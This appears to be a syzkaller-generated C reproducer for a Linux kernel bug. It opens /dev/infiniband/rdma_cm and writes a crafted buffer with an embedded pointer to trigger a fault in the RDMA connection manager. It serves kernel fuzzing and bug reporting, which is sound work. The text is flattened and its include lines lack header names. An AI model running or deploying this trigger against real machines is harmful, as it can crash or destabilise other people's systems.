// https://syzkaller.appspot.com/bug?id=77e2cfee3bc0fdd3bcaf05ea83a9c26a59ddbf6c // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include uint64_t r[1] = {0xffffffffffffffff}; void loop() { long res; memcpy((void*)0x20000140, "/dev/infiniband/rdma_cm", 24); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000140, 2, 0); if (res != -1) r[0] = res; memcpy((void*)0x20000240, "\x00\x00\x00\x00\x18\x00\x00\x45\xe6\x17\x5e\x5f" "\x2d\x03\x43\x81\x50\xf9\x0e\x78\x79\x49\xb0\xfa" "\x02\x00\x00\x00\x00\x00\x00\x00", 32); *(uint64_t*)0x20000260 = 0x200032c0; *(uint32_t*)0x200032c0 = -1; syscall(__NR_write, r[0], 0x20000240, 0x28); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; }